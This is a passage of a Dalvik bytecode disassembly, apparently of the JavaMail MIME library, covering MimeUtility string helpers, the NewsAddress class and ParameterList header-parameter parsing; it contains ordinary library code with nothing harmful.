          .registers 5
00000000  invoke-virtual          LineInputStream->readLine()String, p0
00000006  move-result-object      v0
00000008  if-nez                  v0, :E
:C
0000000C  return-void
:E
0000000E  const-string            v1, "--"
00000012  invoke-virtual          String->startsWith(String)Z, v0, v1
00000018  move-result             v1
0000001A  if-eqz                  v1, :2E
:1E
0000001E  const-string            v1, "--"
00000022  invoke-virtual          String->endsWith(String)Z, v0, v1
00000028  move-result             v1
0000002A  if-nez                  v1, :C
:2E
0000002E  invoke-virtual          String->trim()String, v0
00000034  move-result-object      v1
00000036  invoke-virtual          String->length()I, v1
0000003C  move-result             v1
0000003E  if-eqz                  v1, :0
:42
00000042  const-string            v1, "#"
00000046  invoke-virtual          String->startsWith(String)Z, v0, v1
0000004C  move-result             v1
0000004E  if-nez                  v1, :0
:52
00000052  new-instance            v1, StringTokenizer
00000056  const-string            v2, " \t"
0000005A  invoke-direct           StringTokenizer-><init>(String, String)V, v1, v0, v2
:60
00000060  invoke-virtual          StringTokenizer->nextToken()String, v1
00000066  move-result-object      v0
00000068  invoke-virtual          StringTokenizer->nextToken()String, v1
0000006E  move-result-object      v1
00000070  sget-object             v2, Locale->ENGLISH:Locale
00000074  invoke-virtual          String->toLowerCase(Locale)String, v0, v2
0000007A  move-result-object      v0
0000007C  invoke-virtual          Hashtable->put(Object, Object)Object, p1, v0, v1
:82
00000082  goto                    :0
:84
00000084  move-exception          v0
00000086  goto                    :0
:88
00000088  move-exception          v0
0000008A  goto                    :C
          .catch IOException {:0 .. :6} :88
          .catch NoSuchElementException {:60 .. :82} :84
.end method

.method public static mimeCharset(String)String
          .registers 3
00000000  sget-object             v0, MimeUtility->java2mime:Hashtable
00000004  if-eqz                  v0, :C
:8
00000008  if-nez                  p0, :E
:C
0000000C  return-object           p0
:E
0000000E  sget-object             v0, MimeUtility->java2mime:Hashtable
00000012  sget-object             v1, Locale->ENGLISH:Locale
00000016  invoke-virtual          String->toLowerCase(Locale)String, p0, v1
0000001C  move-result-object      v1
0000001E  invoke-virtual          Hashtable->get(Object)Object, v0, v1
00000024  move-result-object      v0
00000026  check-cast              v0, String
0000002A  if-eqz                  v0, :C
:2E
0000002E  move-object             p0, v0
00000030  goto                    :C
.end method

.method static final nonascii(I)Z
          .registers 2
00000000  const/16                v0, 0x7F
00000004  if-ge                   p0, v0, :2C
:8
00000008  const/16                v0, 0x20
0000000C  if-ge                   p0, v0, :28
:10
00000010  const/16                v0, 0xD
00000014  if-eq                   p0, v0, :28
:18
00000018  const/16                v0, 0xA
0000001C  if-eq                   p0, v0, :28
:20
00000020  const/16                v0, 0x9
00000024  if-ne                   p0, v0, :2C
:28
00000028  const/4                 v0, 0x0
:2A
0000002A  return                  v0
:2C
0000002C  const/4                 v0, 0x1
0000002E  goto                    :2A
.end method

.method public static quote(String, String)String
          .registers 12
00000000  const/16                v9, 0x5C
00000004  const/16                v8, 0xD
00000008  const/16                v7, 0xA
0000000C  const/4                 v2, 0x0
0000000E  const/16                v6, 0x22
00000012  invoke-virtual          String->length()I, p0
00000018  move-result             v3
0000001A  move                    v1, v2
0000001C  move                    v0, v2
:1E
0000001E  if-lt                   v1, v3, :54
:22
00000022  if-eqz                  v0, :52
:26
00000026  new-instance            v0, StringBuffer
0000002A  add-int/lit8            v1, v3, 0x2
0000002E  invoke-direct           StringBuffer-><init>(I)V, v0, v1
00000034  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v6
0000003A  move-result-object      v1
0000003C  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, p0
00000042  move-result-object      v1
00000044  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v6
0000004A  invoke-virtual          StringBuffer->toString()String, v0
00000050  move-result-object      p0
:52
00000052  return-object           p0
:54
00000054  invoke-virtual          String->charAt(I)C, p0, v1
0000005A  move-result             v4
0000005C  if-eq                   v4, v6, :6C
:60
00000060  if-eq                   v4, v9, :6C
:64
00000064  if-eq                   v4, v8, :6C
:68
00000068  if-ne                   v4, v7, :DC
:6C
0000006C  new-instance            v4, StringBuffer
00000070  add-int/lit8            v0, v3, 0x3
00000074  invoke-direct           StringBuffer-><init>(I)V, v4, v0
0000007A  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v6
00000080  invoke-virtual          String->substring(I, I)String, p0, v2, v1
00000086  move-result-object      v0
00000088  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v0
0000008E  move                    v0, v1
00000090  move                    v1, v2
:92
00000092  if-lt                   v0, v3, :A6
:96
00000096  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v6
0000009C  invoke-virtual          StringBuffer->toString()String, v4
000000A2  move-result-object      p0
000000A4  goto                    :52
:A6
000000A6  invoke-virtual          String->charAt(I)C, p0, v0
000000AC  move-result             v2
000000AE  if-eq                   v2, v6, :BE
:B2
000000B2  if-eq                   v2, v9, :BE
:B6
000000B6  if-eq                   v2, v8, :BE
:BA
000000BA  if-ne                   v2, v7, :C6
:BE
000000BE  if-ne                   v2, v7, :D4
:C2
000000C2  if-ne                   v1, v8, :D4
:C6
000000C6  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v2
000000CC  add-int/lit8            v0, v0, 0x1
000000D0  move                    v1, v2
000000D2  goto                    :92
:D4
000000D4  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v9
000000DA  goto                    :C6
:DC
000000DC  const/16                v5, 0x20
000000E0  if-lt                   v4, v5, :F8
:E4
000000E4  const/16                v5, 0x7F
000000E8  if-ge                   v4, v5, :F8
:EC
000000EC  invoke-virtual          String->indexOf(I)I, p1, v4
000000F2  move-result             v4
000000F4  if-ltz                  v4, :FA
:F8
000000F8  const/4                 v0, 0x1
:FA
000000FA  add-int/lit8            v1, v1, 0x1
000000FE  goto                    :1E
.end method

.method public static unfold(String)String
          .registers 10
00000000  const/16                v8, 0x9
00000004  const/16                v7, 0x20
00000008  const/4                 v6, 0x0
0000000A  sget-boolean            v0, MimeUtility->foldText:Z
0000000E  if-nez                  v0, :14
:12
00000012  return-object           p0
:14
00000014  const/4                 v0, 0x0
:16
00000016  const-string            v1, "\r\n"
0000001A  invoke-static           MimeUtility->indexOfAny(String, String)I, p0, v1
00000020  move-result             v2
00000022  if-gez                  v2, :3A
:26
00000026  if-eqz                  v0, :12
:2A
0000002A  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, p0
00000030  invoke-virtual          StringBuffer->toString()String, v0
00000036  move-result-object      p0
00000038  goto                    :12
:3A
0000003A  invoke-virtual          String->length()I, p0
00000040  move-result             v3
00000042  add-int/lit8            v1, v2, 0x1
00000046  if-ge                   v1, v3, :72
:4A
0000004A  add-int/lit8            v4, v1, 0xFFFFFFFFFFFFFFFF
0000004E  invoke-virtual          String->charAt(I)C, p0, v4
00000054  move-result             v4
00000056  const/16                v5, 0xD
0000005A  if-ne                   v4, v5, :72
:5E
0000005E  invoke-virtual          String->charAt(I)C, p0, v1
00000064  move-result             v4
00000066  const/16                v5, 0xA
0000006A  if-ne                   v4, v5, :72
:6E
0000006E  add-int/lit8            v1, v1, 0x1
:72
00000072  if-eqz                  v2, :8A
:76
00000076  add-int/lit8            v4, v2, 0xFFFFFFFFFFFFFFFF
0000007A  invoke-virtual          String->charAt(I)C, p0, v4
00000080  move-result             v4
00000082  const/16                v5, 0x5C
00000086  if-eq                   v4, v5, :124
:8A
0000008A  if-ge                   v1, v3, :F4
:8E
0000008E  invoke-virtual          String->charAt(I)C, p0, v1
00000094  move-result             v4
00000096  if-eq                   v4, v7, :9E
:9A
0000009A  if-ne                   v4, v8, :F4
:9E
0000009E  add-int/lit8            v1, v1, 0x1
:A2
000000A2  if-ge                   v1, v3, :B6
:A6
000000A6  invoke-virtual          String->charAt(I)C, p0, v1
000000AC  move-result             v4
000000AE  if-eq                   v4, v7, :EE
:B2
000000B2  if-eq                   v4, v8, :EE
:B6
000000B6  if-nez                  v0, :CC
:BA
000000BA  new-instance            v0, StringBuffer
000000BE  invoke-virtual          String->length()I, p0
000000C4  move-result             v3
000000C6  invoke-direct           StringBuffer-><init>(I)V, v0, v3
:CC
000000CC  if-eqz                  v2, :E4
:D0
000000D0  invoke-virtual          String->substring(I, I)String, p0, v6, v2
000000D6  move-result-object      v2
000000D8  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v2
000000DE  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v7
:E4
000000E4  invoke-virtual          String->substring(I)String, p0, v1
000000EA  move-result-object      p0
000000EC  goto                    :16
:EE
000000EE  add-int/lit8            v1, v1, 0x1
000000F2  goto                    :A2
:F4
000000F4  if-nez                  v0, :10A
:F8
000000F8  new-instance            v0, StringBuffer
000000FC  invoke-virtual          String->length()I, p0
00000102  move-result             v2
00000104  invoke-direct           StringBuffer-><init>(I)V, v0, v2
:10A
0000010A  invoke-virtual          String->substring(I, I)String, p0, v6, v1
00000110  move-result-object      v2
00000112  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v2
00000118  invoke-virtual          String->substring(I)String, p0, v1
0000011E  move-result-object      p0
00000120  goto/16                 :16
:124
00000124  if-nez                  v0, :13A
:128
00000128  new-instance            v0, StringBuffer
0000012C  invoke-virtual          String->length()I, p0
00000132  move-result             v3
00000134  invoke-direct           StringBuffer-><init>(I)V, v0, v3
:13A
0000013A  add-int/lit8            v3, v2, 0xFFFFFFFFFFFFFFFF
0000013E  invoke-virtual          String->substring(I, I)String, p0, v6, v3
00000144  move-result-object      v3
00000146  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v3
0000014C  invoke-virtual          String->substring(I, I)String, p0, v2, v1
00000152  move-result-object      v2
00000154  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v2
0000015A  invoke-virtual          String->substring(I)String, p0, v1
00000160  move-result-object      p0
00000162  goto/16                 :16
.end method

#--------------------------------------------------------------------------------
.class public NewsAddress
.super Address
.source ""

.field private static final serialVersionUID:J = 0xC5A91CA0E4341391L
.field protected host:String
.field protected newsgroup:String

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Address-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           NewsAddress-><init>(String, String)V, p0, p1, v0
00000008  return-void
.end method

.method public constructor <init>(String, String)V
          .registers 3
00000000  invoke-direct           Address-><init>()V, p0
00000006  iput-object             p1, p0, NewsAddress->newsgroup:String
0000000A  iput-object             p2, p0, NewsAddress->host:String
0000000E  return-void
.end method

.method public static parse(String)[NewsAddress
          .registers 5
00000000  new-instance            v0, StringTokenizer
00000004  const-string            v1, ","
00000008  invoke-direct           StringTokenizer-><init>(String, String)V, v0, p0, v1
0000000E  new-instance            v1, Vector
00000012  invoke-direct           Vector-><init>()V, v1
:18
00000018  invoke-virtual          StringTokenizer->hasMoreTokens()Z, v0
0000001E  move-result             v2
00000020  if-nez                  v2, :3C
:24
00000024  invoke-virtual          Vector->size()I, v1
0000002A  move-result             v0
0000002C  new-array               v2, v0, [NewsAddress
00000030  if-lez                  v0, :3A
:34
00000034  invoke-virtual          Vector->copyInto([Object)V, v1, v2
:3A
0000003A  return-object           v2
:3C
0000003C  invoke-virtual          StringTokenizer->nextToken()String, v0
00000042  move-result-object      v2
00000044  new-instance            v3, NewsAddress
00000048  invoke-direct           NewsAddress-><init>(String)V, v3, v2
0000004E  invoke-virtual          Vector->addElement(Object)V, v1, v3
00000054  goto                    :18
.end method

.method public static toString([Address)String
          .registers 5
00000000  if-eqz                  p0, :A
:4
00000004  array-length            v0, p0
00000006  if-nez                  v0, :E
:A
0000000A  const/4                 v0, 0x0
:C
0000000C  return-object           v0
:E
0000000E  new-instance            v2, StringBuffer
00000012  const/4                 v0, 0x0
00000014  aget-object             v0, p0, v0
00000018  check-cast              v0, NewsAddress
0000001C  invoke-virtual          NewsAddress->toString()String, v0
00000022  move-result-object      v0
00000024  invoke-direct           StringBuffer-><init>(String)V, v2, v0
0000002A  const/4                 v0, 0x1
0000002C  move                    v1, v0
:2E
0000002E  array-length            v0, p0
00000030  if-lt                   v1, v0, :3E
:34
00000034  invoke-virtual          StringBuffer->toString()String, v2
0000003A  move-result-object      v0
0000003C  goto                    :C
:3E
0000003E  const-string            v0, ","
00000042  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v0
00000048  move-result-object      v3
0000004A  aget-object             v0, p0, v1
0000004E  check-cast              v0, NewsAddress
00000052  invoke-virtual          NewsAddress->toString()String, v0
00000058  move-result-object      v0
0000005A  invoke-virtual          StringBuffer->append(String)StringBuffer, v3, v0
00000060  add-int/lit8            v0, v1, 0x1
00000064  move                    v1, v0
00000066  goto                    :2E
.end method

.method public equals(Object)Z
          .registers 5
00000000  const/4                 v0, 0x0
00000002  instance-of             v1, p1, NewsAddress
00000006  if-nez                  v1, :C
:A
0000000A  return                  v0
:C
0000000C  check-cast              p1, NewsAddress
00000010  iget-object             v1, p0, NewsAddress->newsgroup:String
00000014  iget-object             v2, p1, NewsAddress->newsgroup:String
00000018  invoke-virtual          String->equals(Object)Z, v1, v2
0000001E  move-result             v1
00000020  if-eqz                  v1, :A
:24
00000024  iget-object             v1, p0, NewsAddress->host:String
00000028  if-nez                  v1, :34
:2C
0000002C  iget-object             v1, p1, NewsAddress->host:String
00000030  if-eqz                  v1, :58
:34
00000034  iget-object             v1, p0, NewsAddress->host:String
00000038  if-eqz                  v1, :A
:3C
0000003C  iget-object             v1, p1, NewsAddress->host:String
00000040  if-eqz                  v1, :A
:44
00000044  iget-object             v1, p0, NewsAddress->host:String
00000048  iget-object             v2, p1, NewsAddress->host:String
0000004C  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, v2
00000052  move-result             v1
00000054  if-eqz                  v1, :A
:58
00000058  const/4                 v0, 0x1
0000005A  goto                    :A
.end method

.method public getHost()String
          .registers 2
00000000  iget-object             v0, p0, NewsAddress->host:String
00000004  return-object           v0
.end method

.method public getNewsgroup()String
          .registers 2
00000000  iget-object             v0, p0, NewsAddress->newsgroup:String
00000004  return-object           v0
.end method

.method public getType()String
          .registers 2
00000000  const-string            v0, "news"
00000004  return-object           v0
.end method

.method public hashCode()I
          .registers 4
00000000  const/4                 v0, 0x0
00000002  iget-object             v1, p0, NewsAddress->newsgroup:String
00000006  if-eqz                  v1, :18
:A
0000000A  iget-object             v1, p0, NewsAddress->newsgroup:String
0000000E  invoke-virtual          String->hashCode()I, v1
00000014  move-result             v1
00000016  add-int/2addr           v0, v1
:18
00000018  iget-object             v1, p0, NewsAddress->host:String
0000001C  if-eqz                  v1, :3A
:20
00000020  iget-object             v1, p0, NewsAddress->host:String
00000024  sget-object             v2, Locale->ENGLISH:Locale
00000028  invoke-virtual          String->toLowerCase(Locale)String, v1, v2
0000002E  move-result-object      v1
00000030  invoke-virtual          String->hashCode()I, v1
00000036  move-result             v1
00000038  add-int/2addr           v0, v1
:3A
0000003A  return                  v0
.end method

.method public setHost(String)V
          .registers 2
00000000  iput-object             p1, p0, NewsAddress->host:String
00000004  return-void
.end method

.method public setNewsgroup(String)V
          .registers 2
00000000  iput-object             p1, p0, NewsAddress->newsgroup:String
00000004  return-void
.end method

.method public toString()String
          .registers 2
00000000  iget-object             v0, p0, NewsAddress->newsgroup:String
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class ParameterList$MultiValue
.super ArrayList
.source ""

.field value:String

.method private constructor <init>()V
          .registers 1
00000000  invoke-direct           ArrayList-><init>()V, p0
00000006  return-void
.end method

.method synthetic constructor <init>(ParameterList$MultiValue)V
          .registers 2
00000000  invoke-direct           ParameterList$MultiValue-><init>()V, p0
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class ParameterList$ParamEnum
.super Object
.source ""

.implements Enumeration

.field private it:Iterator

.method constructor <init>(Iterator)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, ParameterList$ParamEnum->it:Iterator
0000000A  return-void
.end method

.method public hasMoreElements()Z
          .registers 2
00000000  iget-object             v0, p0, ParameterList$ParamEnum->it:Iterator
00000004  invoke-interface        Iterator->hasNext()Z, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public nextElement()Object
          .registers 2
00000000  iget-object             v0, p0, ParameterList$ParamEnum->it:Iterator
00000004  invoke-interface        Iterator->next()Object, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class ParameterList$ToStringBuffer
.super Object
.source ""

.field private sb:StringBuffer
.field private used:I

.method public constructor <init>(I)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, StringBuffer
0000000A  invoke-direct           StringBuffer-><init>()V, v0
00000010  iput-object             v0, p0, ParameterList$ToStringBuffer->sb:StringBuffer
00000014  iput                    p1, p0, ParameterList$ToStringBuffer->used:I
00000018  return-void
.end method

.method public addNV(String, String)V
          .registers 7
00000000  const/16                v3, 0x4C
00000004  invoke-static           ParameterList->access$0(String)String, p2
0000000A  move-result-object      v0
0000000C  iget-object             v1, p0, ParameterList$ToStringBuffer->sb:StringBuffer
00000010  const-string            v2, "; "
00000014  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
0000001A  iget                    v1, p0, ParameterList$ToStringBuffer->used:I
0000001E  add-int/lit8            v1, v1, 0x2
00000022  iput                    v1, p0, ParameterList$ToStringBuffer->used:I
00000026  invoke-virtual          String->length()I, p1
0000002C  move-result             v1
0000002E  invoke-virtual          String->length()I, v0
00000034  move-result             v2
00000036  add-int/2addr           v1, v2
00000038  add-int/lit8            v1, v1, 0x1
0000003C  iget                    v2, p0, ParameterList$ToStringBuffer->used:I
00000040  add-int/2addr           v1, v2
00000042  if-le                   v1, v3, :5C
:46
00000046  iget-object             v1, p0, ParameterList$ToStringBuffer->sb:StringBuffer
0000004A  const-string            v2, "\r\n\t"
0000004E  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
00000054  const/16                v1, 0x8
00000058  iput                    v1, p0, ParameterList$ToStringBuffer->used:I
:5C
0000005C  iget-object             v1, p0, ParameterList$ToStringBuffer->sb:StringBuffer
00000060  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, p1
00000066  move-result-object      v1
00000068  const/16                v2, 0x3D
0000006C  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
00000072  iget                    v1, p0, ParameterList$ToStringBuffer->used:I
00000076  invoke-virtual          String->length()I, p1
0000007C  move-result             v2
0000007E  add-int/lit8            v2, v2, 0x1
00000082  add-int/2addr           v1, v2
00000084  iput                    v1, p0, ParameterList$ToStringBuffer->used:I
00000088  iget                    v1, p0, ParameterList$ToStringBuffer->used:I
0000008C  invoke-virtual          String->length()I, v0
00000092  move-result             v2
00000094  add-int/2addr           v1, v2
00000096  if-le                   v1, v3, :EE
:9A
0000009A  iget                    v1, p0, ParameterList$ToStringBuffer->used:I
0000009E  invoke-static           MimeUtility->fold(I, String)String, v1, v0
000000A4  move-result-object      v0
000000A6  iget-object             v1, p0, ParameterList$ToStringBuffer->sb:StringBuffer
000000AA  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v0
000000B0  const/16                v1, 0xA
000000B4  invoke-virtual          String->lastIndexOf(I)I, v0, v1
000000BA  move-result             v1
000000BC  if-ltz                  v1, :DA
:C0
000000C0  iget                    v2, p0, ParameterList$ToStringBuffer->used:I
000000C4  invoke-virtual          String->length()I, v0
000000CA  move-result             v0
000000CC  sub-int/2addr           v0, v1
000000CE  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
000000D2  add-int/2addr           v0, v2
000000D4  iput                    v0, p0, ParameterList$ToStringBuffer->used:I
:D8
000000D8  return-void
:DA
000000DA  iget                    v1, p0, ParameterList$ToStringBuffer->used:I
000000DE  invoke-virtual          String->length()I, v0
000000E4  move-result             v0
000000E6  add-int/2addr           v0, v1
000000E8  iput                    v0, p0, ParameterList$ToStringBuffer->used:I
000000EC  goto                    :D8
:EE
000000EE  iget-object             v1, p0, ParameterList$ToStringBuffer->sb:StringBuffer
000000F2  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v0
000000F8  iget                    v1, p0, ParameterList$ToStringBuffer->used:I
000000FC  invoke-virtual          String->length()I, v0
00000102  move-result             v0
00000104  add-int/2addr           v0, v1
00000106  iput                    v0, p0, ParameterList$ToStringBuffer->used:I
0000010A  goto                    :D8
.end method

.method public toString()String
          .registers 2
00000000  iget-object             v0, p0, ParameterList$ToStringBuffer->sb:StringBuffer
00000004  invoke-virtual          StringBuffer->toString()String, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class ParameterList$Value
.super Object
.source ""

.field charset:String
.field encodedValue:String
.field value:String

.method private constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method synthetic constructor <init>(ParameterList$Value)V
          .registers 2
00000000  invoke-direct           ParameterList$Value-><init>()V, p0
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public ParameterList
.super Object
.source ""

.field private static applehack:Z
.field private static decodeParameters:Z
.field private static decodeParametersStrict:Z
.field private static encodeParameters:Z
.field private static final hex:[C
.field private lastName:String
.field private list:Map
.field private multisegmentNames:Set
.field private slist:Map

.method static constructor <clinit>()V
          .registers 4
00000000  const/4                 v0, 0x1
00000002  const/4                 v1, 0x0
00000004  sput-boolean            v1, ParameterList->encodeParameters:Z
00000008  sput-boolean            v1, ParameterList->decodeParameters:Z
0000000C  sput-boolean            v1, ParameterList->decodeParametersStrict:Z
00000010  sput-boolean            v1, ParameterList->applehack:Z
:14
00000014  const-string            v2, "mail.mime.encodeparameters"
00000018  invoke-static           System->getProperty(String)String, v2
0000001E  move-result-object      v2
00000020  if-eqz                  v2, :BE
:24
00000024  const-string            v3, "true"
00000028  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
0000002E  move-result             v2
00000030  if-eqz                  v2, :BE
:34
00000034  move                    v2, v0
:36
00000036  sput-boolean            v2, ParameterList->encodeParameters:Z
0000003A  const-string            v2, "mail.mime.decodeparameters"
0000003E  invoke-static           System->getProperty(String)String, v2
00000044  move-result-object      v2
00000046  if-eqz                  v2, :C2
:4A
0000004A  const-string            v3, "true"
0000004E  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
00000054  move-result             v2
00000056  if-eqz                  v2, :C2
:5A
0000005A  move                    v2, v0
:5C
0000005C  sput-boolean            v2, ParameterList->decodeParameters:Z
00000060  const-string            v2, "mail.mime.decodeparameters.strict"
00000064  invoke-static           System->getProperty(String)String, v2
0000006A  move-result-object      v2
0000006C  if-eqz                  v2, :C6
:70
00000070  const-string            v3, "true"
00000074  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
0000007A  move-result             v2
0000007C  if-eqz                  v2, :C6
:80
00000080  move                    v2, v0
:82
00000082  sput-boolean            v2, ParameterList->decodeParametersStrict:Z
00000086  const-string            v2, "mail.mime.applefilenames"
0000008A  invoke-static           System->getProperty(String)String, v2
00000090  move-result-object      v2
00000092  if-eqz                  v2, :CA
:96
00000096  const-string            v3, "true"
0000009A  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
000000A0  move-result             v2
000000A2  if-eqz                  v2, :CA
:A6
000000A6  sput-boolean            v0, ParameterList->applehack:Z
:AA
000000AA  const/16                v0, 0x10
000000AE  new-array               v0, v0, [C
000000B2  fill-array-data         v0, :D4
000000B8  sput-object             v0, ParameterList->hex:[C
000000BC  return-void
:BE
000000BE  move                    v2, v1
000000C0  goto                    :36
:C2
000000C2  move                    v2, v1
000000C4  goto                    :5C
:C6
000000C6  move                    v2, v1
000000C8  goto                    :82
:CA
000000CA  move                    v0, v1
000000CC  goto                    :A6
:CE
000000CE  move-exception          v0
000000D0  goto                    :AA
          .catch SecurityException {:14 .. :AA} :CE
000000D4  .array-data 2 x 0x10
              0x30
              0x31
              0x32
              0x33
              0x34
              0x35
              0x36
              0x37
              0x38
              0x39
              0x41
              0x42
              0x43
              0x44
              0x45
              0x46
          .end array-data
.end method

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, LinkedHashMap
0000000A  invoke-direct           LinkedHashMap-><init>()V, v0
00000010  iput-object             v0, p0, ParameterList->list:Map
00000014  const/4                 v0, 0x0
00000016  iput-object             v0, p0, ParameterList->lastName:String
0000001A  sget-boolean            v0, ParameterList->decodeParameters:Z
0000001E  if-eqz                  v0, :3E
:22
00000022  new-instance            v0, HashSet
00000026  invoke-direct           HashSet-><init>()V, v0
0000002C  iput-object             v0, p0, ParameterList->multisegmentNames:Set
00000030  new-instance            v0, HashMap
00000034  invoke-direct           HashMap-><init>()V, v0
0000003A  iput-object             v0, p0, ParameterList->slist:Map
:3E
0000003E  return-void
.end method

.method public constructor <init>(String)V
          .registers 9
00000000  const/4                 v6, 0xFFFFFFFFFFFFFFFC
00000002  const/4                 v5, 0xFFFFFFFFFFFFFFFF
00000004  invoke-direct           ParameterList-><init>()V, p0
0000000A  new-instance            v1, HeaderTokenizer
0000000E  const-string            v0, "()<>@,;:\\\"\t []/?="
00000012  invoke-direct           HeaderTokenizer-><init>(String, String)V, v1, p1, v0
:18
00000018  invoke-virtual          HeaderTokenizer->next()HeaderTokenizer$Token, v1
0000001E  move-result-object      v2
00000020  invoke-virtual          HeaderTokenizer$Token->getType()I, v2
00000026  move-result             v0
00000028  if-ne                   v0, v6, :3E
:2C
0000002C  sget-boolean            v0, ParameterList->decodeParameters:Z
00000030  if-eqz                  v0, :3C
:34
00000034  const/4                 v0, 0x0
00000036  invoke-direct           ParameterList->combineMultisegmentNames(Z)V, p0, v0
:3C
0000003C  return-void
:3E
0000003E  int-to-char             v3, v0
00000040  const/16                v4, 0x3B
00000044  if-ne                   v3, v4, :196
:48
00000048  invoke-virtual          HeaderTokenizer->next()HeaderTokenizer$Token, v1
0000004E  move-result-object      v0
00000050  invoke-virtual          HeaderTokenizer$Token->getType()I, v0
00000056  move-result             v2
00000058  if-eq                   v2, v6, :2C
:5C
0000005C  invoke-virtual          HeaderTokenizer$Token->getType()I, v0
00000062  move-result             v2
00000064  if-eq                   v2, v5, :A6
:68
00000068  new-instance            v1, ParseException
0000006C  new-instance            v2, StringBuilder
00000070  const-string            v3, "Expected parameter name, got \""
00000074  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000007A  invoke-virtual          HeaderTokenizer$Token->getValue()String, v0
00000080  move-result-object      v0
00000082  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
00000088  move-result-object      v0
0000008A  const-string            v2, "\""
0000008E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
00000094  move-result-object      v0
00000096  invoke-virtual          StringBuilder->toString()String, v0
0000009C  move-result-object      v0
0000009E  invoke-direct           ParseException-><init>(String)V, v1, v0
000000A4  throw                   v1
:A6
000000A6  invoke-virtual          HeaderTokenizer$Token->getValue()String, v0
000000AC  move-result-object      v0
000000AE  sget-object             v2, Locale->ENGLISH:Locale
000000B2  invoke-virtual          String->toLowerCase(Locale)String, v0, v2
000000B8  move-result-object      v0
000000BA  invoke-virtual          HeaderTokenizer->next()HeaderTokenizer$Token, v1
000000C0  move-result-object      v2
000000C2  invoke-virtual          HeaderTokenizer$Token->getType()I, v2
000000C8  move-result             v3
000000CA  int-to-char             v3, v3
000000CC  const/16                v4, 0x3D
000000D0  if-eq                   v3, v4, :112
:D4
000000D4  new-instance            v0, ParseException
000000D8  new-instance            v1, StringBuilder
000000DC  const-string            v3, "Expected \'=\', got \""
000000E0  invoke-direct           StringBuilder-><init>(String)V, v1, v3
000000E6  invoke-virtual          HeaderTokenizer$Token->getValue()String, v2
000000EC  move-result-object      v2
000000EE  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000F4  move-result-object      v1
000000F6  const-string            v2, "\""
000000FA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000100  move-result-object      v1
00000102  invoke-virtual          StringBuilder->toString()String, v1
00000108  move-result-object      v1
0000010A  invoke-direct           ParseException-><init>(String)V, v0, v1
00000110  throw                   v0
:112
00000112  invoke-virtual          HeaderTokenizer->next()HeaderTokenizer$Token, v1
00000118  move-result-object      v2
0000011A  invoke-virtual          HeaderTokenizer$Token->getType()I, v2
00000120  move-result             v3
00000122  if-eq                   v3, v5, :16A
:126
00000126  const/4                 v4, 0xFFFFFFFFFFFFFFFE
00000128  if-eq                   v3, v4, :16A
:12C
0000012C  new-instance            v0, ParseException
00000130  new-instance            v1, StringBuilder
00000134  const-string            v3, "Expected parameter value, got \""
00000138  invoke-direct           StringBuilder-><init>(String)V, v1, v3
0000013E  invoke-virtual          HeaderTokenizer$Token->getValue()String, v2
00000144  move-result-object      v2
00000146  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000014C  move-result-object      v1
0000014E  const-string            v2, "\""
00000152  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000158  move-result-object      v1
0000015A  invoke-virtual          StringBuilder->toString()String, v1
00000160  move-result-object      v1
00000162  invoke-direct           ParseException-><init>(String)V, v0, v1
00000168  throw                   v0
:16A
0000016A  invoke-virtual          HeaderTokenizer$Token->getValue()String, v2
00000170  move-result-object      v2
00000172  iput-object             v0, p0, ParameterList->lastName:String
00000176  sget-boolean            v3, ParameterList->decodeParameters:Z
0000017A  if-eqz                  v3, :188
:17E
0000017E  invoke-direct           ParameterList->putEncodedName(String, String)V, p0, v0, v2
00000184  goto/16                 :18
:188
00000188  iget-object             v3, p0, ParameterList->list:Map
0000018C  invoke-interface        Map->put(Object, Object)Object, v3, v0, v2
00000192  goto/16                 :18
:196
00000196  sget-boolean            v3, ParameterList->applehack:Z
0000019A  if-eqz                  v3, :22E
